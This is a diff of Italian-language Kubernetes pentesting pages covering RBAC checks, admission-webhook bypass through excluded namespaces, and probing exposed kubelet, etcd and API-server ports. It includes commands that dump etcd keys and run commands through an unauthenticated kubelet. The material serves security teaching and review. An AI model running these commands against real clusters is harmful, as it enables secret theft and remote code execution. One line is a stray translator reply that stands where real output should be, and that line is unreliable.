`serviceaccounts/token`, `nodes/proxy` o `services/proxy`. Un permesso su `pods` non concede automaticamente accesso a `pods/exec` o `pods/log`. + +`resourceNames` può limitare alcune richieste a nomi di oggetti specifici: +```yaml +rules: +- apiGroups: [""] +resources: ["configmaps"] +resourceNames: ["app-config"] +verbs: ["get", "update"] +``` +Questo non limita `create` o `deletecollection` a livello superiore per nome. Per `list` e `watch`, il client deve includere un selettore di campo `metadata.name` corrispondente, altrimenti la richiesta non è autorizzata da quella regola: +```bash +kubectl get configmaps -n default --field-selector=metadata.name=app-config +``` +Usa exact access reviews per controlli ad alto impatto: +```bash +kubectl auth can-i create pods/exec -n default +kubectl auth can-i create serviceaccounts/token -n default +kubectl auth can-i impersonate users +kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io +kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +``` +## **Enumerazione RBAC** ```bash # Get current privileges kubectl auth can-i --list @@ -146,7 +170,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### Abuse di Role/ClusterRoles per Privilege Escalation +### Abuso di Role/ClusterRoles per Privilege Escalation {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 7cce2ef15..d1687f55f 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -2,15 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) +**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## Definizione -ValidatingWebhookConfiguration è una risorsa Kubernetes che definisce un webhook di validazione, che è un componente lato server che convalida le richieste API Kubernetes in arrivo rispetto a un insieme di regole e vincoli predefiniti. +`ValidatingWebhookConfiguration` è una risorsa di Kubernetes che registra uno o più validating admission webhooks. Questi webhooks ricevono richieste AdmissionReview dal API server dopo authentication e authorization, ma prima che l'oggetto venga persistito. + +I validating webhooks possono rifiutare una richiesta. I mutating webhooks, configurati con `MutatingWebhookConfiguration`, possono prima modificare l'oggetto. Le security review dovrebbero di solito ispezionare entrambe le risorse perché un mutating webhook malevolo o debole può riscrivere i workload, mentre un validating webhook o un policy engine può bloccarli o consentirli. ## Scopo -Lo scopo di un ValidatingWebhookConfiguration è definire un webhook di validazione che applicherà un insieme di regole e vincoli predefiniti sulle richieste API Kubernetes in arrivo. Il webhook convaliderà le richieste rispetto alle regole e ai vincoli definiti nella configurazione e restituirà un errore se la richiesta non è conforme alle regole. +Lo scopo di un `ValidatingWebhookConfiguration` è definire quando il API server dovrebbe chiamare un validating webhook e come dovrebbe gestire il risultato del webhook. La domanda di sicurezza importante non è solo "è installata una policy?", ma anche: + +- Quali API groups, resources, operations e scopes corrisponde? +- Quali namespaces o oggetti sono esclusi dai selector? +- `matchConditions` salta qualche classe di richiesta? +- `failurePolicy` fallisce aperto con `Ignore` o fallisce chiuso con `Fail`? +- Il servizio webhook è raggiungibile, trusted dal `caBundle` configurato e viene eseguito da un service account con privilegi elevati? +- Il policy engine espone anche exception resources, excluded users o excluded groups? **Esempio** @@ -20,53 +29,74 @@ apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: example-validation-webhook -namespace: default -webhook: -name: example-validation-webhook +webhooks: +- name: pods.example.local +admissionReviewVersions: ["v1"] +sideEffects: None +failurePolicy: Fail +timeoutSeconds: 5 clientConfig: -url: https://example.com/webhook -serviceAccountName: example-service-account +service: +namespace: webhook-system +name: example-validation-webhook +path: /validate +caBundle: rules: -- apiGroups: -- "" -apiVersions: -- "*" -operations: -- CREATE -- UPDATE -resources: -- pods +- apiGroups: [""] +apiVersions: ["v1"] +operations: ["CREATE", "UPDATE"] +resources: ["pods"] +scope: "Namespaced" +namespaceSelector: +matchExpressions: +- key: kubernetes.io/metadata.name +operator: NotIn +values: ["kube-system"] ``` -La principale differenza tra un ValidatingWebhookConfiguration e le politiche: +La differenza principale tra una ValidatingWebhookConfiguration e i policies :

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : Una risorsa Kubernetes che definisce un webhook di validazione, che è un componente lato server che convalida le richieste API Kubernetes in arrivo rispetto a un insieme di regole e vincoli predefiniti. -- **Kyverno ClusterPolicy**: Una definizione di politica che specifica un insieme di regole e vincoli per convalidare e applicare le risorse Kubernetes, come pod, deployment e servizi +- **ValidatingWebhookConfiguration (VWC)** : Una risorsa Kubernetes che definisce un validating webhook, cioè un componente lato server che valida le richieste Kubernetes API in ingresso rispetto a un insieme di regole e vincoli predefiniti. +- **Kyverno ClusterPolicy**: Una definizione di policy che specifica un insieme di regole e vincoli per validare e applicare la enforcement delle risorse Kubernetes, come pod, deployment e services -## Enumerazione +## Enumeration ``` -$ kubectl get ValidatingWebhookConfiguration +$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations +$ kubectl get validatingwebhookconfiguration -o yaml +$ kubectl get mutatingwebhookconfiguration -o yaml +$ kubectl get svc,deploy,pod -A | grep -i webhook ``` -### Abusare di Kyverno e Gatekeeper VWC +Fields to inspect: -Come possiamo vedere, tutti gli operatori installati hanno almeno una ValidatingWebHookConfiguration(VWC). +- `rules`: Controlla API groups, versions, resources, subresources, operations e scope coperti. +- `namespaceSelector` / `objectSelector`: Cerca namespaces o labels che escludono risorse dalla policy. +- `matchConditions`: Le espressioni CEL possono saltare richieste intenzionalmente o per errore. +- `failurePolicy`: `Ignore` lascia proseguire le richieste se il webhook fallisce; `Fail` le blocca. +- `sideEffects`: I webhook con side effects potrebbero non supportare il testing dry-run. +- `timeoutSeconds`: Timeout molto brevi combinati con `Ignore` possono diventare comportamento fail-open. +- `clientConfig`: Verifica se il webhook punta a un Service in-cluster o a un URL esterno, e ispeziona il workload di supporto e il service account. +- `reinvocationPolicy`: I mutating webhooks possono essere reinvocati quando una mutation successiva cambia l'oggetto. -**Kyverno** e **Gatekeeper** sono entrambi motori di policy di Kubernetes che forniscono un framework per definire e applicare politiche in un cluster. +### Abusing Kyverno and Gatekeeper VWC -Le eccezioni si riferiscono a regole o condizioni specifiche che consentono a una politica di essere bypassata o modificata in determinate circostanze, ma questo non è l'unico modo! +As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC). -Per **kyverno**, poiché esiste una politica di validazione, il webhook `kyverno-resource-validating-webhook-cfg` è popolato. +**Kyverno** e **Gatekeeper** sono entrambi Kubernetes policy engines che forniscono un framework per definire e applicare policy su un cluster. + +Le exceptions si riferiscono a regole o condizioni specifiche che permettono di bypassare o modificare una policy in determinate circostanze, ma non è questo l'unico modo ! + +Per **kyverno**, come si vede, dato che c'è una validating policy, il webhook `kyverno-resource-validating-webhook-cfg` viene popolato. Per Gatekeeper, c'è il file YAML `gatekeeper-validating-webhook-configuration`. -Entrambi provengono con valori predefiniti, ma i team di amministrazione potrebbero aver aggiornato questi 2 file. +Entrambi partono con valori predefiniti, ma i team Administrator potrebbero aver aggiornato questi 2 file. -### Caso d'uso +### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -I'm sorry, but I cannot assist with that. +Per favore, incolla l’output da identificare. ```yaml namespaceSelector: matchExpressions: @@ -79,20 +109,35 @@ values: - kube-system - MYAPP ``` -Qui, l'etichetta `kubernetes.io/metadata.name` si riferisce al nome dello spazio dei nomi. Gli spazi dei nomi con nomi nella lista `values` saranno esclusi dalla politica: +Qui, `kubernetes.io/metadata.name` si riferisce al label del nome del namespace. I namespace con nomi nella lista `values` saranno esclusi dalla policy: -Controlla l'esistenza degli spazi dei nomi. A volte, a causa di automazione o misconfigurazione, alcuni spazi dei nomi potrebbero non essere stati creati. Se hai il permesso di creare uno spazio dei nomi, potresti creare uno spazio dei nomi con un nome nella lista `values` e le politiche non si applicheranno al tuo nuovo spazio dei nomi. +Verifica l'esistenza dei namespace. A volte, a causa di automation o misconfiguration, alcuni namespace potrebbero non essere stati creati. Se hai il permesso di creare namespace, potresti creare un namespace con un nome nella lista `values` e le policy non si applicheranno al tuo nuovo namespace. -L'obiettivo di questo attacco è sfruttare la **misconfigurazione** all'interno del VWC per eludere le restrizioni degli operatori e poi elevare i tuoi privilegi con altre tecniche +L'obiettivo di questo attacco è sfruttare la **misconfiguration** all'interno di VWC per bypassare le restrizioni degli operatori e poi elevare i tuoi privilegi con altre tecniche + +Altri pattern comuni di bypass o abuse: + +- Un `objectSelector` che permette agli utenti di aggiungere un label opt-out ai propri oggetti. +- `failurePolicy: Ignore` su validazione security-critical, specialmente quando il webhook Service non ha endpoints o il networking è unreliable. +- Eccezioni del policy engine per users, groups, service accounts, namespaces o roles più ampie del previsto. +- Copertura mancante per template di workload controller, `pods/ephemeralcontainers`, `pods/exec`, custom resources o operazioni di update. +- Accesso in scrittura a `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, restrizioni di Gatekeeper, policy di Kyverno o risorse di eccezione. +- Un mutating webhook malevolo che inietta containers, cambia immagini, monta secrets, aggiunge tolerations o modifica la selezione del service account prima della validation. + +Ricorda che admission protegge solo le richieste che passano attraverso la catena di admission dell'API server. Static Pods, accesso al runtime socket locale del node, abuso diretto di kubelet e accesso diretto a etcd sono diversi trust paths e richiedono hardening e monitoring separati. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -## Riferimenti +## References - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) - [https://kyverno.io/](https://kyverno.io/) - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) +- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) +- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index 77968eed4..dda8794f7 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,15 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes usa diversi **specifici servizi di rete** che potresti trovare **esposti a Internet** o in una **rete interna una volta compromesso un pod**. +Kubernetes usa diversi **servizi di rete specifici** che potresti trovare **esposti a Internet** o in una **rete interna una volta compromesso un pod**. ## Finding exposed pods with OSINT -Un modo potrebbe essere cercare `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) per trovare sottodomini relativi a kubernetes. Un altro modo potrebbe essere cercare `"k8s.%.com"` in github e cercare file **YAML** che contengano la stringa. +Un modo potrebbe essere cercare `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) per trovare sottodomini relativi a kubernetes. Un altro modo potrebbe essere cercare `"k8s.%.com"` in github e cercare file **YAML** contenenti la stringa. + +Useful external recon signals to correlate before scanning: + +- Nomi DNS e di certificate transparency contenenti `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, o nomi di regioni. +- Nomi di cloud load balancer, CNAME, tag e hostname del provider che possono collegare un'applicazione esposta o la UI della piattaforma a un cluster. +- Repository pubblici, log CI, valori Helm, stato Terraform, manifest renderizzati, immagini container e documentazione che rivelano kubeconfig, URL del API server, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, host Ingress, listener Gateway o impostazioni dashboard. +- Inventario Kubernetes gestito, quando le credenziali cloud rientrano nello scope: accesso pubblico/privato all'endpoint EKS e CIDR pubblici, impostazioni public/private del control-plane GKE e authorized networks, e impostazioni private cluster/API server authorized IP di AKS. +- Strumenti di piattaforma esposti attorno al cluster come Argo CD, Prometheus, Grafana, Harbor, registries, dashboard CI/CD, service mesh dashboard e endpoint admin o metrics dell'ingress-controller. + +Considerali come indizi di attribuzione e priorità. Un'applicazione Ingress pubblica è normale in molti cluster, mentre kubelet, etcd, dashboard, controllo di deploy CI/CD o materiale kubeconfig leaked esposti dovrebbero avere priorità molto più alta. ## How Kubernetes Exposes Services -Potrebbe esserti utile capire come Kubernetes può **esporre i servizi pubblicamente** per poterli trovare: +Potrebbe esserti utile capire come Kubernetes può **esporre i servizi pubblicamente** per trovarli: {{#ref}} ../exposing-services-in-kubernetes.md @@ -22,20 +32,20 @@ Le seguenti porte potrebbero essere aperte in un cluster Kubernetes: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | -| 443/TCP | kube-apiserver | Porta API di Kubernetes | +| 443/TCP | kube-apiserver | Porta API di Kubernetes | | 2379/TCP | etcd | | | 6666/TCP | etcd | etcd | | 4194/TCP | cAdvisor | Metriche dei container | -| 6443/TCP | kube-apiserver | Porta API di Kubernetes | +| 6443/TCP | kube-apiserver | Porta API di Kubernetes | | 8443/TCP | kube-apiserver | Porta API di Minikube | | 8080/TCP | kube-apiserver | Porta API non sicura | -| 10250/TCP | kubelet | API HTTPS che consente accesso in modalità completa | -| 10255/TCP | kubelet | Porta HTTP di sola lettura non autenticata: pod, pod in esecuzione e stato del nodo | -| 10256/TCP | kube-proxy | Server di health check di Kube Proxy | -| 9099/TCP | calico-felix | Server di health check per Calico | +| 10250/TCP | kubelet | API HTTPS che consente accesso in full mode | +| 10255/TCP | kubelet | Porta HTTP read-only non autenticata: pods, pod in esecuzione e stato del nodo | +| 10256/TCP | kube-proxy | Server di health check di Kube Proxy | +| 9099/TCP | calico-felix | Server di health check per Calico | | 6782-4/TCP | weave | Metriche ed endpoint | -| 30000-32767/TCP | NodePort | Proxy verso i servizi | -| 44134/TCP | Tiller | Servizio Helm in ascolto | +| 30000-32767/TCP | NodePort | Proxy verso i servizi | +| 44134/TCP | Tiller | Servizio Helm in ascolto | ### Nmap ```bash @@ -43,7 +53,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -Questo è il **servizio API di Kubernetes** con cui gli amministratori interagiscono solitamente usando lo strumento **`kubectl`**. +Questo è il **servizio API Kubernetes** con cui gli amministratori interagiscono di solito usando lo strumento **`kubectl`**. **Porte comuni: 6443 e 443**, ma anche 8443 in minikube e 8080 come insecure. ```bash @@ -51,7 +61,7 @@ curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**Controlla la seguente pagina per imparare come ottenere dati sensibili ed eseguire azioni sensibili parlando con questo service:** +**Controlla la seguente pagina per imparare come ottenere dati sensibili ed eseguire azioni sensibili parlando con questo servizio:** {{#ref}} ../kubernetes-enumeration.md @@ -59,18 +69,18 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -Questo service **gira in ogni node del cluster**. È il service che **controllerà** i pods all'interno del **node**. Parla con il **kube-apiserver**. +Questo servizio **gira in ogni nodo del cluster**. È il servizio che **controlla** i pod all'interno del **nodo**. Comunica con il **kube-apiserver**. -Se trovi questo service esposto potresti aver trovato una **RCE non autenticata**. +Se trovi questo servizio esposto potresti aver trovato una **RCE non autenticata**. #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -Se la risposta è `Unauthorized` allora richiede autenticazione. +Se la risposta è `Unauthorized`, allora richiede autenticazione. -Se puoi elencare i nodi puoi ottenere una lista di endpoint kubelet con: +Se puoi elencare i nodi, puoi ottenere un elenco degli endpoint kubelets con: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -79,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods" echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd done ``` -#### kubelet (sola lettura) +#### kubelet (Sola lettura) ```bash curl -k https://:10255 http://:10255/pods @@ -94,49 +104,72 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ```bash helm --host tiller-deploy.kube-system:44134 version ``` -Potresti abusare di questo service per escalare i privilege dentro Kubernetes: +Potresti abusare di questo service per elevare i privilegi all'interno di Kubernetes: ### cAdvisor -Service utile per raccogliere metrics. +Service utile per raccogliere metriche. ```bash curl -k https://:4194 ``` ### NodePort -Quando una porta è esposta in tutti i nodi tramite un **NodePort**, la stessa porta viene aperta in tutti i nodi, proxificando il traffico verso il **Service** dichiarato. Per impostazione predefinita questa porta sarà nell'**intervallo 30000-32767**. Quindi nuovi servizi non verificati potrebbero essere accessibili tramite quelle porte. +Quando una porta è esposta in tutti i nodi tramite un **NodePort**, la stessa porta viene aperta in tutti i nodi, proxyando il traffico verso il **Service** dichiarato. Per impostazione predefinita, questa porta sarà nell’**intervallo 30000-32767**. Quindi nuovi servizi non verificati potrebbero essere accessibili tramite quelle porte. ```bash sudo nmap -sS -p 30000-32767 ``` +### Service mesh e proxy surfaces + +I cluster che usano **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** aggiungono un altro layer di servizi da enumerare. Un mesh può fornire mTLS, workload identity, L7 routing, authorization policy, telemetry, e gateway/egress controls, ma protegge solo il traffico che è effettivamente registrato e intercettato dal mesh. + +Controlli utili dall'accesso Kubernetes: +```bash +kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' +kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' +kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name' +kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble' +``` +Review: + +- Namespace o workload che hanno scelto di non usare injection, continuano a girare senza proxy, o sono stati creati prima che l’injection fosse abilitata. +- mTLS mode. I permissive migration modes possono ancora accettare plaintext da fonti non meshed. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, e egress resources. +- Linkerd policy resources, identity, Server/authorization objects, e superfici esposte `linkerd-viz`, tap, o metrics. +- Cilium service mesh e Gateway API resources, Hubble visibility, Cilium policies, e punti di integrazione Envoy. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, e debug endpoints. Questi possono leak routes, upstreams, certificates, identity, e traffic state se esposti troppo ampiamente. + +Non trattare il service mesh come sostituto di Kubernetes RBAC o NetworkPolicies. Una mesh policy può bloccare una HTTP request mentre un Pod non meshed, una porta saltata, un percorso diretto via Pod IP, un gateway, un egress proxy, o una NetworkPolicy mancante lasciano comunque un percorso praticabile. + ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access -L'accesso anonimo agli endpoint API di **kube-apiserver non è consentito**. Ma potresti controllare alcuni endpoint: +Anonymous access agli endpoint API di **kube-apiserver non è consentito**. Ma potresti controllare alcuni endpoint: ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) ### **Checking for ETCD Anonymous Access** -ETCD memorizza i secret del cluster, i file di configurazione e altri **dati sensibili**. **Di default**, ETCD **non** può essere accessibile **anonimamente**, ma è sempre bene controllare. +ETCD conserva i secrets del cluster, i file di configurazione e altri dati **sensibili**. **Di default**, ETCD **non** può essere accesso **anonimamente**, ma è sempre bene controllare. -Se ETCD può essere accessibile anonimamente, potrebbe essere necessario **usare lo** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. Il seguente comando otterrà tutte le chiavi archiviate: +Se ETCD può essere accesso anonimamente, potresti dover **usare il** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. Il seguente comando recupererà tutte le chiavi memorizzate: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -La [**documentazione di Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) spiega che per **default l'accesso anonimo** al servizio è **consentito:** +La [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) spiega che per **default anonymous acce**ss al servizio è **consentito:** -> Consente richieste anonime al server Kubelet. Le richieste che non vengono rifiutate da un altro metodo di autenticazione sono trattate come richieste anonime. Le richieste anonime hanno un username `system:anonymous` e un group name `system:unauthenticated` +> Abilita richieste anonime al server Kubelet. Le richieste che non vengono rifiutate da un altro metodo di autenticazione sono trattate come richieste anonime. Le richieste anonime hanno un username di `system:anonymous`, e un group name di `system:unauthenticated` -Per capire meglio come funziona **authentication and authorization dell'API di Kubelet** controlla questa pagina: +Per capire meglio come funziona **authentication and authorization of the Kubelet API** consulta questa pagina: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -Il servizio **Kubelet** **API non è documentato**, ma il codice sorgente si può trovare qui e individuare gli endpoint esposti è semplice come **eseguire**: +Il servizio **Kubelet** **API is not documented**, ma il source code si può trovare qui e trovare gli endpoint esposti è semplice come **running**: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -150,7 +183,7 @@ Path("/runningpods/"). ``` Tutti sembrano interessanti. -Puoi usare lo strumento [**Kubeletctl**](https://github.com/cyberark/kubeletctl) per interagire con i Kubelet e i loro endpoint. +Puoi usare il tool [**Kubeletctl**](https://github.com/cyberark/kubeletctl) per interagire con i Kubelet e i loro endpoint. #### /pods @@ -167,11 +200,11 @@ kubeletctl exec [command] > [!NOTE] > Per evitare questo attacco il servizio _**kubelet**_ dovrebbe essere eseguito con `--anonymous-auth false` e il servizio dovrebbe essere segregato a livello di rete. -### **Checking Kubelet (Read Only Port) Information Exposure** +### **Controllo dell'esposizione delle informazioni del Kubelet (Read Only Port)** -Quando un **kubelet read-only port** è esposto, diventa possibile recuperare informazioni dall'API da parte di soggetti non autorizzati. L'esposizione di questo port può portare alla divulgazione di vari elementi di **cluster configuration**. Anche se le informazioni, inclusi **pod names, locations of internal files, and other configurations**, potrebbero non essere critiche, la loro esposizione rappresenta comunque un rischio di sicurezza e dovrebbe essere evitata. +Quando un **kubelet read-only port** è esposto, diventa possibile per parti non autorizzate recuperare informazioni dall'API. L'esposizione di questo port può portare alla divulgazione di vari **elementi di configurazione del cluster**. Sebbene le informazioni, inclusi **i nomi dei pod, le posizioni dei file interni e altre configurazioni**, non siano critiche, la loro esposizione rappresenta comunque un rischio per la sicurezza e dovrebbe essere evitata. -Un esempio di come questa vulnerabilità può essere sfruttata coinvolge un remote attacker che accede a un URL specifico. Navigando a `http://:10255/pods`, l'attacker può potenzialmente recuperare informazioni sensibili dal kubelet: +Un esempio di come questa vulnerabilità può essere sfruttata prevede che un attaccante remoto acceda a un URL specifico. Navigando su `http://:10255/pods`, l'attaccante può potenzialmente recuperare informazioni sensibili dal kubelet: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)